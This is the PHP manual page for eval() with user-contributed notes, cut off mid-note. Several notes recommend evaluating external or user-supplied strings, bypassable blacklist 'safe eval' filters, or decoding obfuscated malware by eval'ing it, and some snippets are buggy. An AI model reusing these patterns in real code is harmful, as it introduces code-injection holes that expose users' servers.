A return statement will immediately terminate the evaluation of the code.

The code will be executed in the scope of the code calling eval(). Thus any variables defined or changed in the eval() call will remain visible after it terminates.

Return Values

eval() returns NULL unless return is called in the evaluated code, in which case the value passed to return is returned. If there is a parse error in the evaluated code, eval() returns FALSE and execution of the following code continues normally. It is not possible to catch a parse error in eval() using set_error_handler().

Examples

Example #1 eval() example - simple text merge

<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

The above example will output:

This is a $string with my $name in it.
This is a cup with my coffee in it.

Notes

Note: Because this is a language construct and not a function, it cannot be called using variable functions

Tip

As with anything that outputs its result directly to the browser, the output-control functions can be used to capture the output of this function, and save it in a string (for example).

Note:

In case of a fatal error in the evaluated code, the whole script exits.

See Also

  • call_user_func() - Call the callback given by the first parameter

User Contributed Notes

socram8888 at gmail dot com 12-Nov-2011 12:18
It may be a bit obvious, but if you don't want eval'd code to interfere with main code variables, all you have to do is to call an eval from another function like this:

<?php
function localeval($code) {
    return eval($code);
};

$a = "a";
echo '$a before eval code: ' . $a . "\n"; // prints "a"
localeval('$a = \'b\';');
echo '$a after localeval: ' . $a . "\n"; // still prints "a"
eval('$a = \'b\';');
echo '$a after eval: ' . $a . "\n"; // prints "b"
?>
kevin at NOSPAM dot schinkenbraten dot de 20-Oct-2011 05:23
Hey guys.
With the eval()-function it is possible to create functions with specific names.

Imagine if you have an Array and want to create some function of these names.

<?php

// Setting up the names for the functions.
$names = Array ( "foo", "bar", "test", "foobar");
$prefix = "func_";

// Running a loop for the names and setting up the functions.
foreach ($names as $j) {
    $function = $prefix.$j;
    $code = "function ".$function." () {
                     echo '".$j."<br />';
                 }";
    eval($code);
}

// Now we can run the functions easily now.
func_foo();
func_bar();
func_test();
func_foobar();

?>

Output will be:
foo
bar
test
foobar

--------
The point is that you don't have to run the function from a variable [create_function()].
I hope this is helpful for someone. ;) Kevin
sfinktah at php dot spamtrak dot org 09-Apr-2011 04:17
If you really want a bullet-proof eval, you can use a socket_pair and fork().  (Not tested under windows).

<?php

function lookupErrorCode($errno) { static $lookup = false;
        if ($lookup == false) foreach (array("E_ERROR", "E_WARNING", "E_PARSE", "E_NOTICE",
                "E_CORE_ERROR", "E_CORE_WARNING", "E_COMPILE_ERROR", "E_COMPILE_WARNING",
                "E_USER_ERROR", "E_USER_WARNING", "E_USER_NOTICE", "E_STRICT", "E_RECOVERABLE_".
                "ERROR", "E_DEPRECATED", "E_USER_DEPRECATED") as $k => $v) $lookup[1<<$k] = $v;
        return (!empty($lookup[$errno]) ? $lookup[$errno] : "UNKNOWN"); }

function child_exit_handler($socket = NULL) {
        static $paired_socket = false;
        if ($socket || $socket === false) return $paired_socket = $socket;
        if ($paired_socket) {
                $e = error_get_last();
                $result = "ERROR_" . lookupErrorCode($e["type"]) . ":  {$e["message"]}";
                if (socket_write($paired_socket, $result, strlen($result)) === false)
                        echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
                socket_close($sockets[0]);
        }
        exit(2);        # Child Process Dies, writing an error to it's paired socket.
}

function forked_eval($eval) {
        $sockets = array();

        /* On Windows we need to use AF_INET */
        $domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);

        /* Setup socket pair */
        if (socket_create_pair($domain, SOCK_STREAM, 0, $sockets) === false) {
                echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
        }

        switch ($child = pcntl_fork()) {
        case -1:
                throw new Exception("Could not fork");
        case 0:
                # Child Thread
                register_shutdown_function("child_exit_handler");
                child_exit_handler($sockets[0]); # Register the socket
                $result = serialize(eval($eval));
                child_exit_handler(false);                      # We didn't crash
                if (socket_write($sockets[0], $result, strlen($result)) === false)
                        echo "socket_write() failed. Reason: ". socket_strerror(socket_last_error($sockets[0]));
                socket_close($sockets[0]);
                exit(3);
        default :
                # Parent Thread
                if (($nread = socket_recv($sockets[1], $data, 1<<16, 0)) < 1)
                        echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
                if (!strncmp($data, "ERROR_", 6)) {
                        return substr($data, 6); # throw new Exception(substr($data, 6));
                }

                socket_close($sockets[1]);
                return unserialize($data);
        }
}

function safe_eval($cmd, $str = false, $file = false, $line = false, $context = false) {
        static $err_strings = array();
        if ($cmd === true) return count($err_strings) ? $err_strings : false;
        if ($str !== false)
                return ($err_strings[] = lookupErrorCode($cmd) . ":  $str in $file on line $line") && true;
        $err_strings = array(); $old_error_handler = set_error_handler(__FUNCTION__, E_ALL);
        $rv = @eval("return true; $cmd") ? forked_eval($cmd)
                : ($or = error_get_last()) && call_user_func_array(__FUNCTION__, $or);
        restore_error_handler(); return $rv;
}

foreach (array( "return sleep(2) && foobar();"
        , "return date('Y-m-d');" , "return touch('/error/error/error') ? 'OK' : 'Failed';"
        , "return ==" , "return 2 + array();" , "return foobar();" , "return 2;") as $cmd) {
                printf("\nAttempting to evaluate: $cmd\n"); $rv = safe_eval($cmd);
                printf("%s\n", ($e = safe_eval(true)) ? "ERROR: $e" : "Result: $rv"); }
?>
Mark Simon 01-Mar-2011 03:29
I have looked for a simple way of forcing PHP to interpolate strings after the event (that is, after they have already been assigned, say from a text file).

The following seems to work:

<?php
    $text='$a + $b = $c';
    $a=2; $b=3; $c=$a+$b;
    print eval("return<<<END\n$text\nEND;\n");
?>

I have even tried it with some potentially evil code, but the context seems to preclude interpreting it as anything other than a string.

Mark
Jordan Rutty 27-Feb-2011 07:52
This function is to automatically sort a 2 dimensional array (like that from mysql fetches) into unlimited dimension array's

<?php
/*
@param $array mysql fetch array
@param $row_key array of rowkeys to be used ex array('country', 'state', 'city');
*/

    function LoopRowKey($array, $row_key, &$result=null){
        foreach($array as $key => $value){
            $i='';
            $row_key = (array)$row_key;
                foreach($row_key as $var){
                    if(isset($value[$var])){
                        $var = $value[$var];
                        $i .= "['$var']";
                    }
                }
                eval("\$result$i".'[]'." = \$value;");
        }
        return $result;
    }

//this function will turn:
$array = array{
    array{
        'id' => '1',
        'country' => 'canada',
        'state' => 'QC',
        'city' => 'montreal',
    }
    array{
        'id' => '2',
        'country' => 'canada',
        'state' => 'ON',
        'city' => 'toronto',
    }
    array{
        'id' => '3',
        'country' => 'canada',
        'state' => 'QC',
        'city' => 'quebec',
    }
};

$row_key = array('country', 'state');

$result = LoopRowKey($array, $row_key);

//will give

$result = array{
    'canada' => array{
        'QC' => {
                '0' => array{
                    'id' => '1',
                    'country' => 'canada',
                    'state' => 'QC',
                    'city' => 'montreal',
                }
                '1' => array{
                    'id' => '3',
                    'country' => 'canada',
                    'state' => 'QC',
                    'city' => 'quebec',
                }
            }
        }
        'ON'    => {
            '0' => array{
                'id' => '2',
                'country' => 'canada',
                'state' => 'ON',
                'city' => 'toronto',
            }
        }
};
?>
piyush25378 at gmail dot com 26-Nov-2010 01:18
When using the eval() function like
eval('?>' . $data['content'] . '<?');

Please be sure to check that the short_open_tag is on in php.ini. Otherwise it will append the opening tag to the string.

If you are using eval function like
eval('?>' . $data['content'] . '<?php'); and you have short_open_tag on there will be parse error. So if it is required to use function like this turn off short_open_tags.
Also it is advisable to put a space after <?php to avoid any accidental error.
jason at joeymail dot net 21-Sep-2010 12:03
An alternative to using eval to mimic include - is to just use include on an in-memory stream. This allows a user-cooked class to pretend it is a stream, so methods which expect a stream or URL will be happy (like include)

i) register a global variable stream wrapper using stream_wrapper_register(). (search the man page for "Example class registered as stream wrapper")

ii) use file_get_contents (or db read or...) to read your php script into a global variable.
eg
$GLOBALS['yourvar']=file_get_contents('somefile.php');

iii) call include with the URL you registered. Using the example wrapper above:
include 'var://yourvar';

Easy as. Not a magic regexp in sight!  Enjoy.
php at rijkvanwel dot nl 13-Sep-2010 07:41
To catch a parse error in eval()'ed code with a custom error handler, use error_get_last() (PHP >= 5.2.0).

<?php
$return = eval( 'parse error' );

if ( $return === false && ( $error = error_get_last() ) ) {
    myErrorHandler( $error['type'], $error['message'], $error['file'], $error['line'], null );

    // Since the "execution of the following code continues normally", as stated in the manual,
    // we still have to exit explicitly in case of an error
    exit;
}
?>
php at dynamicplus dot it 02-Jul-2010 03:53
Please note that using
eval( 'return TRUE;?>' . $sPhpCode );

is not safe to check if syntax is correct... as this will procuce a fatal error (uncatchable)....

eval( 'return TRUE;?><?php empty( function($var) ); ?>' );

using empty() on a non-pure variable will produce a
compilation error!
darkhogg (foo) gmail (bar) com 30-Mar-2010 10:33
The following code

<?php
    eval( '?> foo <?php' );
?>

does not throw any error, but prints the opening tag.
Adding a space after the open tag fixes it:

<?php
    eval( '?> foo <?php ' );
?>
vladimiroski at gmail dot com 25-Feb-2010 03:18
Please note that when you do something like this:

<?php
eval('?>' . $code . '<?');
?>

You must end it with '<?' because the following will give you a parse error:
<?php
eval('?>' . $code . '<?php');
?>

Somehow eval() only likes PHP opening short-tag AKA '<?' but fails with '<?php'
john dot risken at gmail dot com 25-Feb-2010 10:35
A simple use of eval:

Sometimes you want to know both the value of a variable being passed to a function and its name. Passing by reference can get you there, but only through a lot of convolutions (as far as I can tell!)

But by using the stem of a variable's name, there are two methods to achieve this.

Say that

<?php
$emailName="me@example.com";
?>

You can pass this information thusly:

First, if you have the stem, "emailName', in a string var

<?php
$theVarStem="emailName";
?>

you can recover the value of the original variable like this:

<?php
$theVarValue=eval("return \$$theVarStem;");
?>

Using 'return' inside the eval is the trick that makes it work - something inherent in the documentation  but not at all obvious to me.

Unless $emailName has global scope, this method won't work inside a function. For that purpose, you can do the following:

<?php
myFunction(compact("emailName"))

function myFunction($theInfo)
{
   $theVarStem=key($theInfo);
   $theVarValue=current($theInfo);
   //...
}
?>

I apologize if all this seems too obvious: it took me a lotta sloggin' to figure it out.
ajo at NO dot SPAM dot mydevnull dot net 05-Jan-2010 01:15
Inspired from the users microvalen at NOSPAM dot microvalen dot com and javis, i combined their notes and came up with a very simple "template engine", for testing purposes (to save the time and trouble of downloading and including a real template engine like the Smarty):

<?php
$var = 'dynamic content';
echo eval('?>' . file_get_contents('template.phtml') . '<?');
?>

and the  template.phtml:
<html>
    <head>
    <!-- ... -->
    </head>
    <body>
        <!-- ... -->
        <?=$var?>
        <!-- ... -->
    </body>
</html>

This is something i use a lot (specially when studying new PHP Libraries or trying new jQuery plugins) and i think it might help others too.
Nico 11-Aug-2009 03:27
eval and namespace

For those who wonder: since eval executes the code in another context than the current script, it is possible to evaluate code that uses a particular namespace without changing the current one (and it does not trigger an error if there is no namespace and the evaluated one is not at the top of the script).
Exemple:

<?php
namespace Foo;

echo 'namespace 1: '.__NAMESPACE__."\n";
eval('namespace Bar;
      class BarClass {}
      echo \'namespace 2: \'.__NAMESPACE__."\n";');
echo 'namespace 1 again: '.__NAMESPACE__."\n";
?>

output:
namespace 1: Foo
namespace 2: Bar
namespace 1 again: Foo

And it will create the class Bar\BarClass.

Also, the eval code will not belong to the namespace of the code that do the eval:

<?php
namespace Foo;

echo 'namespace 1: '.__NAMESPACE__."\n";
eval('class BarClass {}
       echo \'namespace 2: \'.__NAMESPACE__."\n";');
?>

output:
namespace 1: Foo
namespace 2: // global namespace
cmr at expansys dot com 31-Jul-2009 12:20
Fixed matheval function when percentage is less than 10:

<?php
function matheval($equation)
  {
    $equation = preg_replace("/[^0-9+\-.*\/()%]/","",$equation);
    // fix percentage calcul when percentage value < 10
    $equation = preg_replace("/([+-])([0-9]{1})(%)/","*(1\$1.0\$2)",$equation);
    // calc percentage
    $equation = preg_replace("/([+-])([0-9]+)(%)/","*(1\$1.\$2)",$equation);
    // you could use str_replace on this next line
    // if you really, really want to fine-tune this equation
    $equation = preg_replace("/([0-9]+)(%)/",".\$1",$equation);
    if ( $equation == "" )
    {
      $return = 0;
    }
    else
    {
      eval("\$return=" . $equation . ";" );
    }
    return $return;
  }
?>
webmaster at drakkofox dot net 29-May-2009 09:08
Never, Never ever forget the ";" on the end of the eval string, if you are adding it to eval a variable attribuition;
<?php
  $data = "$key"."_$sequence";
  eval("\$idct=\$idedit_$data;");
?>

we took a long time to discover that the problem was a ";" missing in the end.
JURGEN AT PERSON DOT BE 12-Mar-2009 01:46
I updated my code because there are many abuses of the function eval() in phpscripts to break security, privacy, to perform callbacks, to execute commands on the server by remote.  This could not be allowed in a professional environment which often deals with sensitive, important or financial data.

Code obfuscation is not a safe solution to protect Your source at all. As I do disagree with some programmers to use any ( ! ) solution to encrypt php code. I advocate to not scramble code and to not implement call home events (which hit the firewall or reverse proxy anyway).   Call backs do violate privacy of the user.  It can be considered as spyware, theft of information.  All serverside code should be readable to to verify if no sensitive information is transfered to the vendor or to verify it is not malware.  Running scrambled code is as dangerous as to run a server without any security measures. That's why some hosting providers refuse to run scrambled code on their servers. As programmer, the best way You can do is to create many revisions of Your code,  as to provide additional plugins, services and support for registered users.  So do not encrypt a single line of code at all, do follow the opensource standard and do respect privacy and the right of verification of the user of your scripts.

So here is an updated version, to use with PHP-CLI  If it fails in the process, You can invoke with the verbose option so You can follow the process and alter this code.

----- snippet denest.php.sh -----------
#!/usr/bin/php
<?php
    // FILE: denest.php.sh
    // perform chmod +x denest.php.sh

    echo "\nDECODE nested eval(gzinflate()) by DEBO Jurgen <webmaster@purechocolates.com>\n\n";

    /* invokation php-cli:  #php denest.php <your_nested_script.php> <verbose empty,0=OFF 1=ON> */

    $filename_full = $argv[1];
    $verbose       = (bool) $argv[2];

    $filename_base = basename ($filename_full,'.php');
    $content       = "";

    echo "Using: ".$filename_base.".php\n";
    echo "Read...\n";
    $fp1      = fopen ($filename_full, "r");
    $content  = fread ($fp1, filesize ($filename_full));
    fclose($fp1);

    echo "Decode...\n";
    while ( is_nested($content) ) $content=denest($content);
    dump($content,TRUE);

    function is_nested ($text) {
    return preg_match("/eval\(gzinflate/",$text);
    }

    function denest ($text) {

    global $verbose;

        $text=preg_replace("/<\?php|<\?|\?>/", "", $text);
    if ($verbose) dump ($text,FALSE);
        eval(preg_replace("/eval/", "\$text=", $text));
    if ($verbose) dump ($text,FALSE);
    return $text;
    }

    function dump ($text,$final) {

    static $counter = 0 ;
    global $filename_base;

    $filename_new = ($final) ? ($filename_base.".done.php") : ($filename_base.".".sprintf("%04d", ++$counter).".php");

    echo "Writing ".$filename_new."\n";
    $fp2 = fopen($filename_new,"w");
        fwrite($fp2, trim($text));
        fclose($fp2);
    }
?>
----- snippet denest.php.sh -----------
microvalen at NOSPAM dot microvalen dot com 21-Feb-2009 10:44
very simple example to includea html file:

<?php

$simple_var = 'This is a simple var';

eval("\$file=\"" . addslashes(implode("", file("test.html"))) . "\";");
print $file;

?>

and the html:
<body>
$simple_var
</body>
javis 09-Feb-2009 01:54
you can actually run strings with html and php code. To do that you need to append ?> and <? simbols like this:

<?php eval("?>" . $code . "<?"); ?>
php at stock-consulting dot com 28-Nov-2008 08:16
Magic constants like __FILE__ may not return what you expect if used inside eval()'d code. Instead, it'll answer something like "c:\directory\filename.php(123) : eval()'d code" (under Windows, obviously, checked with PHP5.2.6) - which can still be processed with a function like preg_replace to receive the filename of the file containing the eval().

Example:

<?php
$filename = preg_replace('@\(.*\(.*$@', '', __FILE__);
echo $filename;
?>
maurice at chandoo dot de 07-Nov-2008 03:20
<?php
function safe_eval($code,&$status) { //status 0=failed,1=all clear
    //Signs
        //Can't assign stuff
    $bl_signs = array("=");

    //Language constructs
    $bl_constructs = array("print","echo","require","include","if","else",
"while","for","switch","exit","break");

    //Functions
    $funcs = get_defined_functions();
    $funcs = array_merge($funcs['internal'],$funcs['user']);

    //Functions allowed
        //Math cant be evil, can it?
    $whitelist = array("pow","exp","abs","sin","cos","tan");

    //Remove whitelist elements
    foreach($whitelist as $f) {
        unset($funcs[array_search($f,$funcs)]);
    }
    //Append '(' to prevent confusion (e.g. array() and array_fill())
    foreach($funcs as $key => $val) {
        $funcs[$key] = $val."(";
    }
    $blacklist = array_merge($bl_signs,$bl_constructs,$funcs);

    //Check
    $status=1;
    foreach($blacklist as $nono) {
        if(strpos($code,$nono) !== false) {
            $status = 0;
            return 0;
        }
    }

    //Eval
    return @eval($code);
}
?>

Note: Try to include this after all of your other self-defined functions and consider whether the blacklist is appropriate for your purpose

I wouldn't recommend this function if you're going to use eval extensively in your script. However, it's worth a try if you are going to put user input into eval
alexis at amigo dot com 04-Nov-2008 08:20
eval vs include

i have to make a script to take code from a database and excute it, but i'm not sure is eval was hight server load than include, so i take the example of Luke at chaoticlogic dot net and test it, the results are great for eval:

test.php
<?php
//establish a blank integer
$increment=0;

//establish the code to be executed
//one hundred million times
$code="\$increment++;";

//remember the time this test started
$started=time();

//execute $code on hundred million times
for ($i=0;$i<100000;$i++) {
    eval($code);
}
//find out how long it took, in
//seconds
$ended=time();
$spent=$ended-$started;

//tell the user this
print "Eval()ed code took $spent seconds to execute 100,000 times.\n";

//re-establish that same blank integer
$increment=0;

//remember the time this second test
//started
$started=time();

//execute the test again, with
//pre-parsed code
for ($i=0;$i<100000;$i++) {
include("increment.php");
}
//find out how long it took, in
//seconds
$ended=time();
$spent=$ended-$started;

//tell the user this
print "Included file with Pre-parsed code took $spent seconds to execute 100,000 times.\n";
?>

increment.php
<?php
    $increment++;
?>

Eval()ed code took 0 seconds to execute 100,000 times. Included file with Pre-parsed code took 17 seconds to execute 100,000 times.

i change 100,000,000 for 100,000 because the script take so much time
Mark dot Sheppard at disney dot com 30-Oct-2008 03:13
One thing to note is that an exit() call inside an eval() exits the entire script, *not* just the eval(), which is what you'd expect if you've ever used eval() in any other language.  This makes it somewhat useless in my opinion.
luke at cywh dot com 17-Sep-2008 01:12
Finally, a good use for eval :)!

If you want to be able to check for syntax errors WITHOUT executing the code, add "return true;" before all the code. All execution of the code stops after that mark, and makes eval returns true on no syntax errors, and false on syntax errors.

This is especially useful for anyone making a template system.

Here's a working example:

<?php

function check_syntax($code) {
    return @eval('return true;' . $code);
}

print "<b>No Code execution:</b><br />\n";
$code = "print \"<b><i>hello! you don't want me...</i></b><br />\n\";";
var_dump(check_syntax($code)); // Good syntax
print "<br />\n";
var_dump(check_syntax($code . ' ==')); // Bad syntax
print "<br />\n";

print "<b>Code Executed...Bad</b>:<br />\n";
var_dump(eval($code) === null); // Good syntax
print "<br />\n";
var_dump(@eval($code . ' ==') === null); // Bad syntax

?>
asohn at aircanopy dot net 11-Sep-2008 01:45
<?php
$hello[2][4][6][8][10] = 'this is a test';
$w = "[2]";
$o = "[4]";
$r = "[6]";
$l = "[8]";
$d = "[10]";
echo 'hello, '.eval("return \$hello$w$o$r$l$d;");
?>
The above will output:
hello, this is a test
marco at harddisk dot is-a-geek dot org 30-Jun-2008 10:44
eval does not work reliably in conjunction with global, at least not in the cygwin port version.

So:
<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval("global \$".$module."_var;");
  eval("\$".$module."_var=&new foo();");
  //various stuff ... ...
}
load_module("foo");
?>

becomes to working:

<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval('$GLOBALS["'.$module.'_var"]=&new foo();');
  //various stuff ... ...
}
load_module("foo");
?>

Note in the 2nd example, you _always_ need to use $GLOBALS[$module] to access the variable!
trukin at gmail dot com 11-Jun-2008 08:58
The EVAL function can be used  as a fast Template system.

<?php
function parseTemplate($template, $params=array()) {
  foreach ($params as $k=>$v) {
     $$k = $v;
  }
  ob_start();
  eval("?>" . implode("", file($template)) . "<?");
  $c = ob_get_contents();
  ob_end_flush();
  return $c;
}
?>

Example:
<?php

echo parseTemplate("myTemplate.php", array('account'=>$row));
?>

and myTemplate.php can be like

<?php foreach($account as $k=>$v) : ?>
  <?php echo $k; ?>: <?php echo $v; ?>
<?php endforeach; ?>
Ivan Zahariev 02-Apr-2008 01:09
It seems that the Magic constants (http://www.php.net/manual/en/language.constants.predefined.php) do NOT work in an eval()'ed code.

Probably because PHP substitutes these statically when it compiles the source code of your PHP script initially.

So the following will not work as expected:
<?php
function user_func1() {
    echo "User function name: ".__FUNCTION__."\n";
    eval('echo "in eval(): User function name: ".__FUNCTION__."\n";');
}
?>

Calling user_func1() will output:
  User function name: user_func1
  User function name:
Luke at chaoticlogic dot net 02-Apr-2008 12:26
I thought it was pertinent to demonstrate just how slow the eval() function is when compared to pre-parsed code, so I wrote this.

In my case, it took 54 seconds to execute the code 100,000,000 times through eval(), and only 4 seconds with pre-parsed code.
<?php
//establish a blank integer
$increment=0;

//establish the code to be executed
//one hundred million times
$code="\$increment++;";

//remember the time this test started
$started=time();

//execute $code on hundred million times
for ($i=0;$i<10000000;$i++) {
    eval($code);
}
//find out how long it took, in
//seconds
$ended=time();
$spent=$ended-$started;

//tell the user this
print "Eval()ed code took $spent seconds to execute 100,000,000 times.\n";

//re-establish that same blank integer
$increment=0;

//remember the time this second test
//started
$started=time();

//execute the test again, with
//pre-parsed code
for ($i=0;$i<10000000;$i++) {
    $increment++;
}
//find out how long it took, in
//seconds
$ended=time();
$spent=$ended-$started;

//tell the user this
print "Pre-parsed code took $spent seconds to execute 100,000,000 times.\n";
?>
I wish there was some way to parse code, store the pre-parsed binary in a variable, and then tell PHP to execute that variable as if it was part of the program.
Ipseno at yahoo dot com 25-Feb-2008 10:24
If you attempt to call a user defined function in eval() and .php files are obfuscated by Zend encoder, it will result in a fatal error.

Use a call_user_func() inside eval() to call your personal hand made functions.

This is user function
<?php

function square_it($nmb)
{
    return $nmb * $nmb;
}

?>

//Checking if eval sees it?
<?php

$code = var_export( function_exists('square_it') );

eval( $code );    //returns TRUE - so yes it does!

?>

This will result in a fatal error:
PHP Fatal error:  Call to undefined function square_it()
<?php

$code = 'echo square_it(55);' ;

eval( $code );

?>

This will work
<?php

$code = 'echo call_user_func(\'square_it\', 55);' ;

eval( $code );

?>
pierrotevrard at gmail dot com 03-Jul-2007 08:58
A wonderful world of eval() applications

You certainly know how to simulate an array as a constant using eval(), not ? See the code below:

<?php

if( ! defined('MY_ARRAY') )
{
  define( 'MY_ARRAY' , 'return ' . var_export( array( 1, 2, 3, 4, 5 ) , true ) . ';' );
}

?>

And far, far away in your code...

<?php

$my_array = eval( MY_ARRAY );

?>

But the grandeur of eval is when you use it to customize some method of a class :

<?php

if( ! class_exists( 'my_class' ) )
{
  class my_class
  {
    //private propreties
    var $_prop;
    var $_custom_check = 'return true;'; //of course, I want a default check code that return true

    //PHP4 constructor
    function my_class()
    {
      $this -> _prop = eval( MY_ARRAY );
    }

    function customize_check( $code )
    {
      $this -> _custom_check = $code;
    }

    function check( $val )
    {
      return eval( $this -> _custom_check );
    }

  }
}

$my_class = new my_class();

$check = 'return in_array( $val , $this -> _prop , true );';
$my_class -> customize_check( $check );

print '<pre>';
if( $my_class -> check( 1 ) )
{
   echo '1 is checked as true.' . "\n";
}
else
{
   echo '1 is checked as false.' . "\n";
}
//show: 1 is checked as true.

if( $my_class -> check( '1' ) )
{
   echo '"1" is checked as true.' . "\n";
}
else
{
   echo '"1" is checked as false.' . "\n";
}
//show: "1" is checked as false.

print '</pre>';

?>

The application of eval() using propreties of a class gives you so much possibilities...
Of course, combinate with a safer eval code, will be better but if you use it only in your code ( for framework project by example ) that's note necessary...

Have fun.
udo dot schroeter at gmail dot com 26-May-2007 11:40
Safer Eval

eval() is used way to often. It slows down code, makes it harder to maintain and it created security risks. However, sometimes, I found myself wishing I could allow some user-controlled scripting in my software, without giving access to dangerous functions.

That's what the following class does: it uses PHP's tokenizer to parse a script, compares every function call against a list of allowed functions. Only if the script is "clean", it gets eval'd.

<?php
  class SaferScript {
    var $source, $allowedCalls;

    function SaferScript($scriptText) {
      $this->source = $scriptText;
      $this->allowedCalls = array();
    }

    function allowHarmlessCalls() {
      $this->allowedCalls = explode(',',
        'explode,implode,date,time,round,trunc,rand,ceil,floor,srand,'.
        'strtolower,strtoupper,substr,stristr,strpos,print,print_r');
    }

    function parse() {
      $this->parseErrors = array();
      $tokens = token_get_all('<?'.'php '.$this->source.' ?'.'>');
      $vcall = '';

      foreach ($tokens as $token) {
        if (is_array($token)) {
          $id = $token[0];
          switch ($id) {
            case(T_VARIABLE): { $vcall .= 'v'; break; }
            case(T_STRING): { $vcall .= 's'; }
            case(T_REQUIRE_ONCE): case(T_REQUIRE): case(T_NEW): case(T_RETURN):
            case(T_BREAK): case(T_CATCH): case(T_CLONE): case(T_EXIT):
            case(T_PRINT): case(T_GLOBAL): case(T_ECHO): case(T_INCLUDE_ONCE):
            case(T_INCLUDE): case(T_EVAL): case(T_FUNCTION): {
              if (array_search($token[1], $this->allowedCalls) === false)
                $this->parseErrors[] = 'illegal call: '.$token[1];
            }
          }
        }
        else
          $vcall .= $token;
      }

      if (stristr($vcall, 'v(') != '')
        $this->parseErrors[] = array('illegal dynamic function call');

      return($this->parseErrors);
    }

    function execute($parameters = array()) {
      foreach ($parameters as $k => $v)
        $$k = $v;
      if (sizeof($this->parseErrors) == 0)
        eval($this->source);
      else
        print('cannot execute, script contains errors');
    }
  }
?>

Usage example:
<?php
  $ls = new SaferScript('horribleCode();');
  $ls->allowHarmlessCalls();
  print_r($ls->parse());
  $ls->execute();
?>

Of course it is not entirely safe, but it's a start ;-)
kai dot chan at kaisystems dot co dot uk 16-Mar-2007 03:06
Since JSON started becoming popular. I've started applying the same idea to PHP arrays. Its an alternative to using XML or CSV. For example:

<?php

$from_external_source = '( "a" => "1", "b" => array( "b1" => "2", "b2" => "3" ) )';

eval( '$external_source_as_array = array'.$from_external_source.';' );

if ( is_array( $external_source_as_array ) ) {

// now you can work with the external source as an array
print_r( $external_source_as_array );

}

?>
It can be less verbose than XML, but provide more meta data than CSV, and unlike CSV, data ordering is not an issue.

I used it when I wanted to store log data externally in a text file.

Kai
f dot boender at electricmonk dot nl 15-Jan-2007 12:39
Errors that occur in evaluated code are hard to catch. burninleo at gmx dot net posted some code below that will buffer the output of the evaluated code and search the output for errors. Another way you can do this would be using a custom error handler that's only in effect during the eval() of the code. A very (very) crude example:

<?php
$errors = array();
function error_hndl($errno, $errstr) {
    global $errors;
    $errors[] = array("errno"=>$errno, "errstr"=>$errstr);
}
function evale ($code) {
    global $errors;
    $errors = array();
    $orig_hndl = set_error_handler("error_hndl");
    eval($code);
    restore_error_handler();
}

evale('print("foo" . $bar);'); // Undefined variable: bar
var_dump($errors);

//fooarray(1) {
//  [0]=>
//  array(2) {
//    ["errno"]=>
//    int(8)
//    ["errstr"]=>
//    string(23) "Undefined variable: bar"
//  }
//}
?>

This will however not catch syntax errors in the code you're trying to eval. This can cause your script to stop with a fatal error inside the eval(). You can catch syntax errors using the Parsekit PECL extension. The parsekit_compile_string() function will try to compile a piece of PHP code and will catch syntax errors if they occur. To extend the earlier piece of code:

<?php
$errors = array();
function error_hndl($errno, $errstr) {
    global $errors;
    $errors[] = array("errno"=>$errno, "errstr"=>$errstr);
}
function evale ($code) {
    global $errors;
    $errors = array(); // Reset errors
    $orig_hndl = set_error_handler("error_hndl");
    if (parsekit_compile_string($code, &$errors, PARSEKIT_QUIET)) {
        eval($code);
    }
    restore_error_handler();
    if (count($errors) > 0) {
        return(false);
    } else {
        return(true);
    }
}

if (!evale('print("foo . $bar);')) { // syntax error, unexpected $end (no closing double quote)
    var_dump($errors);
}
?>

(NOTE: Please do not use the code above directly in your program. It's merely a proof-of-concept).
Dale Kern, Salt Lake City 10-Oct-2006 10:16
If you are trying to get eval()  to run a string as if it were from an include file, try this:

<?php eval("?>".$string); ?>

Eval starts in PHP Script mode, break into html mode first thing and you're done.
Nova912 21-Jul-2006 01:17
Well let me just start off by saying that eval(); confused the heck out of me untill I read that you can use Return.

This will help anyone who wants to "Inject" code into an IF statement. My example is a survey site, some questions are required, some are only required if others are checked. So let me share with you my dynamic script and show you how I was able to make a Dynamic IF Statement.

The code below had been altered to be understandable.
<?php
$survey_number = 3 // The third survey. (Out of 10 Surveys)
$rq[3] = array(1,2,3,4,5,6,8,9,11,13,15,17,19,20); // Required Questions  for Survey 3 - Some of these can not be "NULL" (not NULL) or they will stop the script from going any further. (In my script I replaced any questions that were not answered with "NULL" using a for loop based on the number of questions in the survey)
$aa[3][4] = ' && '.$q[3].' == "1"'; // Added Arguments - 3 = Survey 3's Arguments, 4= Argument belongs to question 4, $q[1-20] (20 Questions total in this case.

//HERE IS THE DYNAMIC IF STATEMENT
$count = count($rq[$survey_number]);
    for ($i=0;$i< $count;$i++)
        {
        $if_statement = '$q['.$rq[$survey_number][$i].'] == "NULL"';
        if(isset($aa[$survey_number][$rq[$survey_number][$i]]))
            {
            $if_statement .= $aa[$survey_number][$rq[$survey_number][$i]];
            }
        if(eval("return ".$if_statement.";"))
            {
            echo $rq[$survey_number][$i].': Is NULL and IS NOT ok.<br>';
            }
        else
            {
            echo $rq[$survey_number][$i].': Is NULL and IS ok.<br>';
            }
        }
?>

In my experiance with this the Added Argument needs to have an actual value inplanted into the string, it did not work by just putting $q[3], i had to use '.$q[3].' to place the value of question 3 in the string.

I hope this help someone, I spent so much time trying to figure this out and want to share how something this simple is done.

Thank you.
brettz9 a/- yah00 do/- com 05-Jul-2006 02:19
I was trying to build a multidimensional array to an unknown dimension (within a loop or "while") and found that eval is, as far as I can tell, the only simple way to solve the problem.

<?php
$arr = array(2,
                 array("v", "q", 5,
                                    array(5, 8, "g"),
                                                      "x"));
$i=3;
$key1 = "[1]";
$key2 = "[".$i."]"; // E.g., could build this conditionally within a loop
$key3 = "[2]";

$keys = $key1.$key2.$key3; // Can add as many keys as needed (could be done instead via a loop with repeated calls to .= )

print $arr{$keys}; // This does not work
print $arr[$keys]; // This also does not work

// However...
eval("\$value = \$arr{$keys};");
print $value; // Correctly prints "g"
?>
burninleo at gmx dot net 25-May-2006 05:51
The only way to retreive information on parse errors in eval'd code seems to be the output buffering.

<?PHP
// Append a return true to php-code to check on errors
$code.= "\nreturn true;";
// Send any output to buffer
